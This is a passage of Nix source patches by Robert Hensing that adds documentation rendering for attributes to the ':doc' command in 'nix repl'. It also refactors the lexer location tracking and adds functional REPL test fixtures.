b/tests/functional/repl/doc-floatedIn.in @@ -0,0 +1,2 @@ +:l doc-comments.nix +:doc floatedIn diff --git a/tests/functional/repl/doc-lambda-flavors.expected b/tests/functional/repl/doc-lambda-flavors.expected new file mode 100644 index 000000000..4ac52f39e --- /dev/null +++ b/tests/functional/repl/doc-lambda-flavors.expected @@ -0,0 +1,29 @@ +Nix +Type :? for help. +Added variables. + +Function nonStrict + … defined at + /path/to/tests/functional/repl/doc-comments.nix:36:70 + + My syntax is not strict, but I'm strict anyway. + +Function strict + … defined at + /path/to/tests/functional/repl/doc-comments.nix:37:63 + + I don't have to be strict, but I am anyway. + +Function strictPre + … defined at + /path/to/tests/functional/repl/doc-comments.nix:39:48 + + Here's one way to do this + +Function strictPost + … defined at + /path/to/tests/functional/repl/doc-comments.nix:40:53 + + Here's another way to do this + + diff --git a/tests/functional/repl/doc-lambda-flavors.in b/tests/functional/repl/doc-lambda-flavors.in new file mode 100644 index 000000000..760c99636 --- /dev/null +++ b/tests/functional/repl/doc-lambda-flavors.in @@ -0,0 +1,5 @@ +:l doc-comments.nix +:doc nonStrict +:doc strict +:doc strictPre +:doc strictPost diff --git a/tests/functional/repl/doc-measurement.expected b/tests/functional/repl/doc-measurement.expected new file mode 100644 index 000000000..8598aaedb --- /dev/null +++ b/tests/functional/repl/doc-measurement.expected @@ -0,0 +1,11 @@ +Nix +Type :? for help. +Added variables. + +Function measurement + … defined at + /path/to/tests/functional/repl/doc-comments.nix:13:17 + + 👈 precisely this wide 👉 + + diff --git a/tests/functional/repl/doc-measurement.in b/tests/functional/repl/doc-measurement.in new file mode 100644 index 000000000..fecd5f9d2 --- /dev/null +++ b/tests/functional/repl/doc-measurement.in @@ -0,0 +1,2 @@ +:l doc-comments.nix +:doc measurement diff --git a/tests/functional/repl/doc-multiply.expected b/tests/functional/repl/doc-multiply.expected new file mode 100644 index 000000000..db82af91f --- /dev/null +++ b/tests/functional/repl/doc-multiply.expected @@ -0,0 +1,15 @@ +Nix +Type :? for help. +Added variables. + +Function multiply + … defined at + /path/to/tests/functional/repl/doc-comments.nix:10:14 + + Perform arithmetic multiplication. It's kind of like + repeated addition, very neat. + + | multiply 2 3 + | => 6 + + diff --git a/tests/functional/repl/doc-multiply.in b/tests/functional/repl/doc-multiply.in new file mode 100644 index 000000000..bffc6696f --- /dev/null +++ b/tests/functional/repl/doc-multiply.in @@ -0,0 +1,2 @@ +:l doc-comments.nix +:doc multiply diff --git a/tests/functional/repl/doc-unambiguous.expected b/tests/functional/repl/doc-unambiguous.expected new file mode 100644 index 000000000..0f89a6f64 --- /dev/null +++ b/tests/functional/repl/doc-unambiguous.expected @@ -0,0 +1,11 @@ +Nix +Type :? for help. +Added variables. + +Function unambiguous + … defined at + /path/to/tests/functional/repl/doc-comments.nix:23:5 + + Very close + + diff --git a/tests/functional/repl/doc-unambiguous.in b/tests/functional/repl/doc-unambiguous.in new file mode 100644 index 000000000..8282a5cb9 --- /dev/null +++ b/tests/functional/repl/doc-unambiguous.in @@ -0,0 +1,2 @@ +:l doc-comments.nix +:doc unambiguous From e68234c4f991071c0c7ff05852975a74d6a21771 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 9 Jul 2024 15:39:24 +0200 Subject: [PATCH 1087/1251] libexpr: Rearrange lexer files so that yylex_init_extra can be found --- src/libexpr/lexer-helpers.cc | 31 ++++++++++++++++++++++++++ src/libexpr/lexer-helpers.hh | 9 ++++++++ src/libexpr/lexer.l | 43 ++++++++---------------------------- src/libexpr/meson.build | 2 ++ 4 files changed, 51 insertions(+), 34 deletions(-) create mode 100644 src/libexpr/lexer-helpers.cc create mode 100644 src/libexpr/lexer-helpers.hh diff --git a/src/libexpr/lexer-helpers.cc b/src/libexpr/lexer-helpers.cc new file mode 100644 index 000000000..87c514c71 --- /dev/null +++ b/src/libexpr/lexer-helpers.cc @@ -0,0 +1,31 @@ +#include "lexer-tab.hh" +#include "lexer-helpers.hh" +#include "parser-tab.hh" + +void nix::lexer::internal::initLoc(YYLTYPE * loc) +{ + loc->first_line = loc->last_line = 0; + loc->first_column = loc->last_column = 0; +} + +void nix::lexer::internal::adjustLoc(yyscan_t yyscanner, YYLTYPE * loc, const char * s, size_t len) +{ + loc->stash(); + + LexerState & lexerState = *yyget_extra(yyscanner); + + if (lexerState.docCommentDistance == 1) { + // Preceding token was a doc comment. + ParserLocation doc; + doc.first_column = lexerState.lastDocCommentLoc.first_column; + ParserLocation docEnd; + docEnd.first_column = lexerState.lastDocCommentLoc.last_column; + DocComment docComment{lexerState.at(doc), lexerState.at(docEnd)}; + PosIdx locPos = lexerState.at(*loc); + lexerState.positionToDocComment.emplace(locPos, docComment); + } + lexerState.docCommentDistance++; + + loc->first_column = loc->last_column; + loc->last_column += len; +} diff --git a/src/libexpr/lexer-helpers.hh b/src/libexpr/lexer-helpers.hh new file mode 100644 index 000000000..caba6e18f --- /dev/null +++ b/src/libexpr/lexer-helpers.hh @@ -0,0 +1,9 @@ +#pragma once + +namespace nix::lexer::internal { + +void initLoc(YYLTYPE * loc); + +void adjustLoc(yyscan_t yyscanner, YYLTYPE * loc, const char * s, size_t len); + +} // namespace nix::lexer diff --git a/src/libexpr/lexer.l b/src/libexpr/lexer.l index 459f1d6f3..7d4e6963f 100644 --- a/src/libexpr/lexer.l +++ b/src/libexpr/lexer.l @@ -14,6 +14,10 @@ %x INPATH_SLASH %x PATH_START +%top { +#include "parser-tab.hh" // YYSTYPE +#include "parser-state.hh" +} %{ #ifdef __clang__ @@ -22,48 +26,19 @@ #include "nixexpr.hh" #include "parser-tab.hh" +#include "lexer-helpers.hh" -// !!! FIXME !!! -#define YY_EXTRA_TYPE ::nix::LexerState * -int yylex_init_extra ( YY_EXTRA_TYPE user_defined, yyscan_t* scanner); -YY_EXTRA_TYPE yyget_extra ( yyscan_t yyscanner ); -#undef YY_EXTRA_TYPE +namespace nix { + struct LexerState; +} using namespace nix; +using namespace nix::lexer::internal; namespace nix { #define CUR_POS state->at(*yylloc) -static void initLoc(YYLTYPE * loc) -{ - loc->first_line = loc->last_line = 0; - loc->first_column = loc->last_column = 0; -} - -static void adjustLoc(yyscan_t yyscanner, YYLTYPE * loc, const char * s, size_t len) -{ - loc->stash(); - - LexerState & lexerState = *yyget_extra(yyscanner); - - if (lexerState.docCommentDistance == 1) { - // Preceding token was a doc comment. - ParserLocation doc; - doc.first_column = lexerState.lastDocCommentLoc.first_column; - ParserLocation docEnd; - docEnd.first_column = lexerState.lastDocCommentLoc.last_column; - DocComment docComment{lexerState.at(doc), lexerState.at(docEnd)}; - PosIdx locPos = lexerState.at(*loc); - lexerState.positionToDocComment.emplace(locPos, docComment); - } - lexerState.docCommentDistance++; - - loc->first_column = loc->last_column; - loc->last_column += len; -} - - // we make use of the fact that the parser receives a private copy of the input // string and can munge around in it. static StringToken unescapeStr(SymbolTable & symbols, char * s, size_t length) diff --git a/src/libexpr/meson.build b/src/libexpr/meson.build index e65cf545f..fa90e7b41 100644 --- a/src/libexpr/meson.build +++ b/src/libexpr/meson.build @@ -139,6 +139,7 @@ sources = files( 'function-trace.cc', 'get-drvs.cc', 'json-to-value.cc', + 'lexer-helpers.cc', 'nixexpr.cc', 'paths.cc', 'primops.cc', @@ -165,6 +166,7 @@ headers = [config_h] + files( 'gc-small-vector.hh', 'get-drvs.hh', 'json-to-value.hh', + # internal: 'lexer-helpers.hh', 'nixexpr.hh', 'parser-state.hh', 'pos-idx.hh', From 491b9cf4154370df3da04977696dda3f053725f1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 9 Jul 2024 19:26:22 +0200 Subject: [PATCH 1088/1251] Refactor: extract DocComment::getInnerText(PosTable) --- src/libexpr/eval.cc | 15 +-------------- src/libexpr/nixexpr.cc | 18 ++++++++++++++++++ src/libexpr/nixexpr.hh | 2 ++ 3 files changed, 21 insertions(+), 14 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index bd7bac0f1..f8282c400 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -572,20 +572,7 @@ std::optional EvalState::getDoc(Value & v) } if (exprLambda->docComment) { - auto begin = positions[exprLambda->docComment.begin]; - auto end = positions[exprLambda->docComment.end]; - auto docCommentStr = begin.getSnippetUpTo(end); - - // Strip "/**" and "*/" - constexpr size_t prefixLen = 3; - constexpr size_t suffixLen = 2; - docStr = docCommentStr.substr(prefixLen, docCommentStr.size() - prefixLen - suffixLen); - if (docStr.empty()) - return {}; - // Turn the now missing "/**" into indentation - docStr = " " + docStr; - // Strip indentation (for the whole, potentially multi-line string) - docStr = stripIndentation(docStr); + docStr = exprLambda->docComment.getInnerText(positions); } if (name.empty()) { diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 6e705c314..5479dd79e 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -641,4 +641,22 @@ size_t SymbolTable::totalSize() const return n; } +std::string DocComment::getInnerText(const PosTable & positions) const { + auto beginPos = positions[begin]; + auto endPos = positions[end]; + auto docCommentStr = beginPos.getSnippetUpTo(endPos); + + // Strip "/**" and "*/" + constexpr size_t prefixLen = 3; + constexpr size_t suffixLen = 2; + std::string docStr = docCommentStr.substr(prefixLen, docCommentStr.size() - prefixLen - suffixLen); + if (docStr.empty()) + return {}; + // Turn the now missing "/**" into indentation + docStr = " " + docStr; + // Strip indentation (for the whole, potentially multi-line string) + docStr = stripIndentation(docStr); + return docStr; +} + } diff --git a/src/libexpr/nixexpr.hh b/src/libexpr/nixexpr.hh index 913f46ff9..803b5ed8f 100644 --- a/src/libexpr/nixexpr.hh +++ b/src/libexpr/nixexpr.hh @@ -60,6 +60,8 @@ struct DocComment { */ operator bool() const { return static_cast(begin); } + std::string getInnerText(const PosTable & positions) const; + }; /** From d4f576b0b281265b58bb497108f8d063e2a0f06a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 9 Jul 2024 19:25:45 +0200 Subject: [PATCH 1089/1251] nix repl: Render docs for attributes --- .../rl-next/repl-doc-renders-doc-comments.md | 2 +- src/libcmd/repl.cc | 41 +++++++ src/libexpr/eval.cc | 42 +++++++- src/libexpr/eval.hh | 10 ++ src/libexpr/nixexpr.hh | 11 ++ src/libexpr/parser-state.hh | 2 +- src/libexpr/parser.y | 7 ++ src/libutil/position.hh | 8 ++ tests/functional/repl/doc-constant.expected | 102 ++++++++++++++++++ tests/functional/repl/doc-constant.in | 15 +++ 10 files changed, 237 insertions(+), 3 deletions(-) create mode 100644 tests/functional/repl/doc-constant.expected create mode 100644 tests/functional/repl/doc-constant.in diff --git a/doc/manual/rl-next/repl-doc-renders-doc-comments.md b/doc/manual/rl-next/repl-doc-renders-doc-comments.md index c9213a88c..05023697c 100644 --- a/doc/manual/rl-next/repl-doc-renders-doc-comments.md +++ b/doc/manual/rl-next/repl-doc-renders-doc-comments.md @@ -45,7 +45,7 @@ Examples ``` Known limitations: -- It currently only works for functions. We plan to extend this to attributes, which may contain arbitrary values. +- It does not render documentation for "formals", such as `{ /** the value to return */ x, ... }: x`. - Some extensions to markdown are not yet supported, as you can see in the example above. We'd like to acknowledge Yingchi Long for proposing a proof of concept for this functionality in [#9054](https://github.com/NixOS/nix/pull/9054), as well as @sternenseemann and Johannes Kirschbauer for their contributions, proposals, and their work on [RFC 145]. diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 37a34e3de..fb8106c46 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -27,6 +27,7 @@ #include "local-fs-store.hh" #include "print.hh" #include "ref.hh" +#include "value.hh" #if HAVE_BOEHMGC #define GC_INCLUDE_NEW @@ -616,6 +617,33 @@ ProcessLineResult NixRepl::processLine(std::string line) else if (command == ":doc") { Value v; + + auto expr = parseString(arg); + std::string fallbackName; + PosIdx fallbackPos; + DocComment fallbackDoc; + if (auto select = dynamic_cast(expr)) { + Value vAttrs; + auto name = select->evalExceptFinalSelect(*state, *env, vAttrs); + fallbackName = state->symbols[name]; + + state->forceAttrs(vAttrs, noPos, "while evaluating an attribute set to look for documentation"); + auto attrs = vAttrs.attrs(); + assert(attrs); + auto attr = attrs->get(name); + if (!attr) { + // Trigger the normal error + evalString(arg, v); + } + if (attr->pos) { + fallbackPos = attr->pos; + fallbackDoc = state->getDocCommentForPos(fallbackPos); + } + + } else { + evalString(arg, v); + } + evalString(arg, v); if (auto doc = state->getDoc(v)) { std::string markdown; @@ -633,6 +661,19 @@ ProcessLineResult NixRepl::processLine(std::string line) markdown += stripIndentation(doc->doc); logger->cout(trim(renderMarkdownToTerminal(markdown))); + } else if (fallbackPos) { + std::stringstream ss; + ss << "Attribute `" << fallbackName << "`\n\n"; + ss << " … defined at " << state->positions[fallbackPos] << "\n\n"; + if (fallbackDoc) { + ss << fallbackDoc.getInnerText(state->positions); + } else { + ss << "No documentation found.\n\n"; + } + + auto markdown = ss.str(); + logger->cout(trim(renderMarkdownToTerminal(markdown))); + } else throw Error("value does not have documentation"); } diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index f8282c400..81c64ba71 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -1415,6 +1415,22 @@ void ExprSelect::eval(EvalState & state, Env & env, Value & v) v = *vAttrs; } +Symbol ExprSelect::evalExceptFinalSelect(EvalState & state, Env & env, Value & attrs) +{ + Value vTmp; + Symbol name = getName(attrPath[attrPath.size() - 1], state, env); + + if (attrPath.size() == 1) { + e->eval(state, env, vTmp); + } else { + ExprSelect init(*this); + init.attrPath.pop_back(); + init.eval(state, env, vTmp); + } + attrs = vTmp; + return name; +} + void ExprOpHasAttr::eval(EvalState & state, Env & env, Value & v) { @@ -2876,13 +2892,37 @@ Expr * EvalState::parse( const SourcePath & basePath, std::shared_ptr & staticEnv) { - auto result = parseExprFromBuf(text, length, origin, basePath, symbols, settings, positions, rootFS, exprSymbols); + DocCommentMap tmpDocComments; // Only used when not origin is not a SourcePath + DocCommentMap *docComments = &tmpDocComments; + + if (auto sourcePath = std::get_if(&origin)) { + auto [it, _] = positionToDocComment.try_emplace(*sourcePath); + docComments = &it->second; + } + + auto result = parseExprFromBuf(text, length, origin, basePath, symbols, settings, positions, *docComments, rootFS, exprSymbols); result->bindVars(*this, staticEnv); return result; } +DocComment EvalState::getDocCommentForPos(PosIdx pos) +{ + auto pos2 = positions[pos]; + auto path = pos2.getSourcePath(); + if (!path) + return {}; + + auto table = positionToDocComment.find(*path); + if (table == positionToDocComment.end()) + return {}; + + auto it = table->second.find(pos); + if (it == table->second.end()) + return {}; + return it->second; +} std::string ExternalValueBase::coerceToString(EvalState & state, const PosIdx & pos, NixStringContext & context, bool copyMore, bool copyToStore) const { diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 7dbf61c5d..3918fb092 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -130,6 +130,8 @@ struct Constant typedef std::map ValMap; #endif +typedef std::map DocCommentMap; + struct Env { Env * up; @@ -329,6 +331,12 @@ private: #endif FileEvalCache fileEvalCache; + /** + * Associate source positions of certain AST nodes with their preceding doc comment, if they have one. + * Grouped by file. + */ + std::map positionToDocComment; + LookupPath lookupPath; std::map> lookupPathResolved; @@ -771,6 +779,8 @@ public: std::string_view pathArg, PosIdx pos); + DocComment getDocCommentForPos(PosIdx pos); + private: /** diff --git a/src/libexpr/nixexpr.hh b/src/libexpr/nixexpr.hh index 803b5ed8f..4c4c8af19 100644 --- a/src/libexpr/nixexpr.hh +++ b/src/libexpr/nixexpr.hh @@ -202,6 +202,17 @@ struct ExprSelect : Expr ExprSelect(const PosIdx & pos, Expr * e, AttrPath attrPath, Expr * def) : pos(pos), e(e), def(def), attrPath(std::move(attrPath)) { }; ExprSelect(const PosIdx & pos, Expr * e, Symbol name) : pos(pos), e(e), def(0) { attrPath.push_back(AttrName(name)); }; PosIdx getPos() const override { return pos; } + + /** + * Evaluate the `a.b.c` part of `a.b.c.d`. This exists mostly for the purpose of :doc in the repl. + * + * @param[out] v The attribute set that should contain the last attribute name (if it exists). + * @return The last attribute name in `attrPath` + * + * @note This does *not* evaluate the final attribute, and does not fail if that's the only attribute that does not exist. + */ + Symbol evalExceptFinalSelect(EvalState & state, Env & env, Value & attrs); + COMMON_METHODS }; diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index 8dc910468..1df64e73d 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -64,7 +64,7 @@ struct LexerState /** * @brief Maps some positions to a DocComment, where the comment is relevant to the location. */ - std::map positionToDocComment; + std::map & positionToDocComment; PosTable & positions; PosTable::Origin origin; diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 3c1bf95c8..a25c6dd87 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -33,6 +33,8 @@ namespace nix { +typedef std::map DocCommentMap; + Expr * parseExprFromBuf( char * text, size_t length, @@ -41,6 +43,7 @@ Expr * parseExprFromBuf( SymbolTable & symbols, const EvalSettings & settings, PosTable & positions, + DocCommentMap & docComments, const ref rootFS, const Expr::AstSymbols & astSymbols); @@ -335,10 +338,12 @@ binds $$ = $1; auto pos = state->at(@2); + auto exprPos = state->at(@4); { auto it = state->lexerState.positionToDocComment.find(pos); if (it != state->lexerState.positionToDocComment.end()) { $4->setDocComment(it->second); + state->lexerState.positionToDocComment.emplace(exprPos, it->second); } } @@ -463,11 +468,13 @@ Expr * parseExprFromBuf( SymbolTable & symbols, const EvalSettings & settings, PosTable & positions, + DocCommentMap & docComments, const ref rootFS, const Expr::AstSymbols & astSymbols) { yyscan_t scanner; LexerState lexerState { + .positionToDocComment = docComments, .positions = positions, .origin = positions.addOrigin(origin, length), }; diff --git a/src/libutil/position.hh b/src/libutil/position.hh index 729f2a523..aba263fdf 100644 --- a/src/libutil/position.hh +++ b/src/libutil/position.hh @@ -7,6 +7,7 @@ #include #include +#include #include "source-path.hh" @@ -65,6 +66,13 @@ struct Pos std::string getSnippetUpTo(const Pos & end) const; + /** + * Get the SourcePath, if the source was loaded from a file. + */ + std::optional getSourcePath() const { + return *std::get_if(&origin); + } + struct LinesIterator { using difference_type = size_t; using value_type = std::string_view; diff --git a/tests/functional/repl/doc-constant.expected b/tests/functional/repl/doc-constant.expected new file mode 100644 index 000000000..9aca06178 --- /dev/null +++ b/tests/functional/repl/doc-constant.expected @@ -0,0 +1,102 @@ +Nix +Type :? for help. +Added variables. + +error: value does not have documentation + +Attribute version + + … defined at + /path/to/tests/functional/repl/doc-comments.nix:29:3 + + Immovably fixed. + +Attribute empty + + … defined at + /path/to/tests/functional/repl/doc-comments.nix:32:3 + + Unchangeably constant. + +error: + … while evaluating the attribute 'attr.undocument' + at /path/to/tests/functional/repl/doc-comments.nix:32:3: + 31| /** Unchangeably constant. */ + 32| lib.attr.empty = { }; + | ^ + 33| + + error: attribute 'undocument' missing + at «string»:1:1: + 1| lib.attr.undocument + | ^ + Did you mean undocumented? + +Attribute constant + + … defined at + /path/to/tests/functional/repl/doc-comments.nix:26:3 + + Firmly rigid. + +Attribute version + + … defined at + /path/to/tests/functional/repl/doc-comments.nix:29:3 + + Immovably fixed. + +Attribute empty + + … defined at + /path/to/tests/functional/repl/doc-comments.nix:32:3 + + Unchangeably constant. + +Attribute undocumented + + … defined at + /path/to/tests/functional/repl/doc-comments.nix:34:3 + + No documentation found. + +error: undefined variable 'missing' + at «string»:1:1: + 1| missing + | ^ + +error: undefined variable 'constanz' + at «string»:1:1: + 1| constanz + | ^ + +error: undefined variable 'missing' + at «string»:1:1: + 1| missing.attr + | ^ + +error: attribute 'missing' missing + at «string»:1:1: + 1| lib.missing + | ^ + +error: attribute 'missing' missing + at «string»:1:1: + 1| lib.missing.attr + | ^ + +error: + … while evaluating the attribute 'attr.undocumental' + at /path/to/tests/functional/repl/doc-comments.nix:32:3: + 31| /** Unchangeably constant. */ + 32| lib.attr.empty = { }; + | ^ + 33| + + error: attribute 'undocumental' missing + at «string»:1:1: + 1| lib.attr.undocumental + | ^ + Did you mean undocumented? + + diff --git a/tests/functional/repl/doc-constant.in b/tests/functional/repl/doc-constant.in new file mode 100644 index 000000000..9c0dde5e1 --- /dev/null +++ b/tests/functional/repl/doc-constant.in @@ -0,0 +1,15 @@ +:l doc-comments.nix +:doc constant +:doc lib.version +:doc lib.attr.empty +:doc lib.attr.undocument +:doc (import ./doc-comments.nix).constant +:doc (import ./doc-comments.nix).lib.version +:doc (import ./doc-comments.nix).lib.attr.empty +:doc (import ./doc-comments.nix).lib.attr.undocumented +:doc missing +:doc constanz +:doc missing.attr +:doc lib.missing +:doc lib.missing.attr +:doc lib.attr.undocumental From cef11b23e89b71f81bc8c4b4b47c3ac87a1a8315 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Tue, 9 Jul 2024 19:27:36 +0200 Subject: [PATCH 1090/1251] Add missing .sh in _NIX_TEST_ACCEPT=1 message --- src/libexpr/eval.cc | 2 +- tests/functional/characterisation/framework.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index 81c64ba71..c309e7e98 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -579,7 +579,7 @@ std::optional EvalState::getDoc(Value & v) s << "Function "; } else { - s << "Function **" << name << "**"; + s << "Function `" << name << "`"; if (pos) s << "\\\n … " ; else diff --git a/tests/functional/characterisation/framework.sh b/tests/functional/characterisation/framework.sh index 913fdd967..5ca125ab5 100644 --- a/tests/functional/characterisation/framework.sh +++ b/tests/functional/characterisation/framework.sh @@ -63,7 +63,7 @@ function characterisationTestExit() { echo '' echo 'You can rerun this test with:' echo '' - echo " _NIX_TEST_ACCEPT=1 make tests/functional/${TEST_NAME}.test" + echo " _NIX_TEST_ACCEPT=1 make tests/functional/${TEST_NAME}.sh.test" echo '' echo 'to regenerate the files containing the expected output,' echo 'and then view the git diff to decide whether a change is' From f9243eca75b0847a3984721564cf098baa185698 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 10 Jul 2024 00:48:23 +0200 Subject: [PATCH 1091/1251] tests/functional/repl.sh: Work around GHA failure --- tests/functional/repl.sh | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh index d356fe096..c1f265df3 100755 --- a/tests/functional/repl.sh +++ b/tests/functional/repl.sh @@ -253,11 +253,21 @@ badExitCode=0 nixVersion="$(nix eval --impure --raw --expr 'builtins.nixVersion' --extra-experimental-features nix-command)" runRepl () { + + # That is right, we are also filtering out the testdir _without underscores_. + # This is crazy, but without it, GHA will fail to run the tests, showing paths + # _with_ underscores in the set -x log, but _without_ underscores in the + # supposed nix repl output. I have looked in a number of places, but I cannot + # find a mechanism that could cause this to happen. + local testDirNoUnderscores + testDirNoUnderscores="${testDir//_/}" + # TODO: pass arguments to nix repl; see lang.sh nix repl 2>&1 \ | stripColors \ | sed \ -e "s@$testDir@/path/to/tests/functional@g" \ + -e "s@$testDirNoUnderscores@/path/to/tests/functional@g" \ -e "s@$nixVersion@@g" \ -e "s@Added [0-9]* variables@Added variables@g" \ | grep -vF $'warning: you don\'t have Internet access; disabling some network-dependent features' \ From 77e9f9ee82db9c77ef67f3916df746383ff451c3 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 11 Jul 2024 12:58:20 +0200 Subject: [PATCH 1092/1251] libexpr: Get rid of unused line tracking fields --- src/libexpr/lexer-helpers.cc | 1 - src/libexpr/lexer.l | 1 - src/libexpr/parser-state.hh | 6 +++--- src/libexpr/parser.y | 16 +++++++++++++++- 4 files changed, 18 insertions(+), 6 deletions(-) diff --git a/src/libexpr/lexer-helpers.cc b/src/libexpr/lexer-helpers.cc index 87c514c71..f7d1017c3 100644 --- a/src/libexpr/lexer-helpers.cc +++ b/src/libexpr/lexer-helpers.cc @@ -4,7 +4,6 @@ void nix::lexer::internal::initLoc(YYLTYPE * loc) { - loc->first_line = loc->last_line = 0; loc->first_column = loc->last_column = 0; } diff --git a/src/libexpr/lexer.l b/src/libexpr/lexer.l index 7d4e6963f..b1b87b96a 100644 --- a/src/libexpr/lexer.l +++ b/src/libexpr/lexer.l @@ -287,7 +287,6 @@ or { return OR_KW; } \/\*\*[^/*]([^*]|\*+[^*/])*\*+\/ /* doc comments */ { LexerState & lexerState = *yyget_extra(yyscanner); lexerState.docCommentDistance = 0; - lexerState.lastDocCommentLoc.first_line = yylloc->first_line; lexerState.lastDocCommentLoc.first_column = yylloc->first_column; lexerState.lastDocCommentLoc.last_column = yylloc->last_column; } diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index 1df64e73d..3e801c13a 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -22,8 +22,8 @@ struct StringToken struct ParserLocation { - int first_line, first_column; - int last_line, last_column; + int first_column; + int last_column; // backup to recover from yyless(0) int stashed_first_column, stashed_last_column; @@ -39,7 +39,7 @@ struct ParserLocation } /** Latest doc comment position, or 0. */ - int doc_comment_first_line, doc_comment_first_column, doc_comment_last_column; + int doc_comment_first_column, doc_comment_last_column; }; struct LexerState diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index a25c6dd87..76190c0fa 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -31,6 +31,21 @@ #define YY_DECL int yylex \ (YYSTYPE * yylval_param, YYLTYPE * yylloc_param, yyscan_t yyscanner, nix::ParserState * state) +// For efficiency, we only track offsets; not line,column coordinates +# define YYLLOC_DEFAULT(Current, Rhs, N) \ + do \ + if (N) \ + { \ + (Current).first_column = YYRHSLOC (Rhs, 1).first_column; \ + (Current).last_column = YYRHSLOC (Rhs, N).last_column; \ + } \ + else \ + { \ + (Current).first_column = (Current).last_column = \ + YYRHSLOC (Rhs, 0).last_column; \ + } \ + while (0) + namespace nix { typedef std::map DocCommentMap; @@ -69,7 +84,6 @@ void yyerror(YYLTYPE * loc, yyscan_t scanner, ParserState * state, const char * { if (std::string_view(error).starts_with("syntax error, unexpected end of file")) { loc->first_column = loc->last_column; - loc->first_line = loc->last_line; } throw ParseError({ .msg = HintFmt(error), From 71cb8bf509cf0e180e19230350318e2b453e6dbe Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Thu, 11 Jul 2024 13:06:39 +0200 Subject: [PATCH 1093/1251] libexpr: Rename "column" fields to offset ... because that's what they are. --- src/libexpr/lexer-helpers.cc | 10 +++++----- src/libexpr/lexer.l | 4 ++-- src/libexpr/parser-state.hh | 18 +++++++++--------- src/libexpr/parser.y | 10 +++++----- 4 files changed, 21 insertions(+), 21 deletions(-) diff --git a/src/libexpr/lexer-helpers.cc b/src/libexpr/lexer-helpers.cc index f7d1017c3..d9eeb73e2 100644 --- a/src/libexpr/lexer-helpers.cc +++ b/src/libexpr/lexer-helpers.cc @@ -4,7 +4,7 @@ void nix::lexer::internal::initLoc(YYLTYPE * loc) { - loc->first_column = loc->last_column = 0; + loc->beginOffset = loc->endOffset = 0; } void nix::lexer::internal::adjustLoc(yyscan_t yyscanner, YYLTYPE * loc, const char * s, size_t len) @@ -16,15 +16,15 @@ void nix::lexer::internal::adjustLoc(yyscan_t yyscanner, YYLTYPE * loc, const ch if (lexerState.docCommentDistance == 1) { // Preceding token was a doc comment. ParserLocation doc; - doc.first_column = lexerState.lastDocCommentLoc.first_column; + doc.beginOffset = lexerState.lastDocCommentLoc.beginOffset; ParserLocation docEnd; - docEnd.first_column = lexerState.lastDocCommentLoc.last_column; + docEnd.beginOffset = lexerState.lastDocCommentLoc.endOffset; DocComment docComment{lexerState.at(doc), lexerState.at(docEnd)}; PosIdx locPos = lexerState.at(*loc); lexerState.positionToDocComment.emplace(locPos, docComment); } lexerState.docCommentDistance++; - loc->first_column = loc->last_column; - loc->last_column += len; + loc->beginOffset = loc->endOffset; + loc->endOffset += len; } diff --git a/src/libexpr/lexer.l b/src/libexpr/lexer.l index b1b87b96a..58401be8e 100644 --- a/src/libexpr/lexer.l +++ b/src/libexpr/lexer.l @@ -287,8 +287,8 @@ or { return OR_KW; } \/\*\*[^/*]([^*]|\*+[^*/])*\*+\/ /* doc comments */ { LexerState & lexerState = *yyget_extra(yyscanner); lexerState.docCommentDistance = 0; - lexerState.lastDocCommentLoc.first_column = yylloc->first_column; - lexerState.lastDocCommentLoc.last_column = yylloc->last_column; + lexerState.lastDocCommentLoc.beginOffset = yylloc->beginOffset; + lexerState.lastDocCommentLoc.endOffset = yylloc->endOffset; } diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index 3e801c13a..983a17a2e 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -22,20 +22,20 @@ struct StringToken struct ParserLocation { - int first_column; - int last_column; + int beginOffset; + int endOffset; // backup to recover from yyless(0) - int stashed_first_column, stashed_last_column; + int stashedBeginOffset, stashedEndOffset; void stash() { - stashed_first_column = first_column; - stashed_last_column = last_column; + stashedBeginOffset = beginOffset; + stashedEndOffset = endOffset; } void unstash() { - first_column = stashed_first_column; - last_column = stashed_last_column; + beginOffset = stashedBeginOffset; + endOffset = stashedEndOffset; } /** Latest doc comment position, or 0. */ @@ -308,12 +308,12 @@ inline Expr * ParserState::stripIndentation(const PosIdx pos, inline PosIdx LexerState::at(const ParserLocation & loc) { - return positions.add(origin, loc.first_column); + return positions.add(origin, loc.beginOffset); } inline PosIdx ParserState::at(const ParserLocation & loc) { - return positions.add(origin, loc.first_column); + return positions.add(origin, loc.beginOffset); } } diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 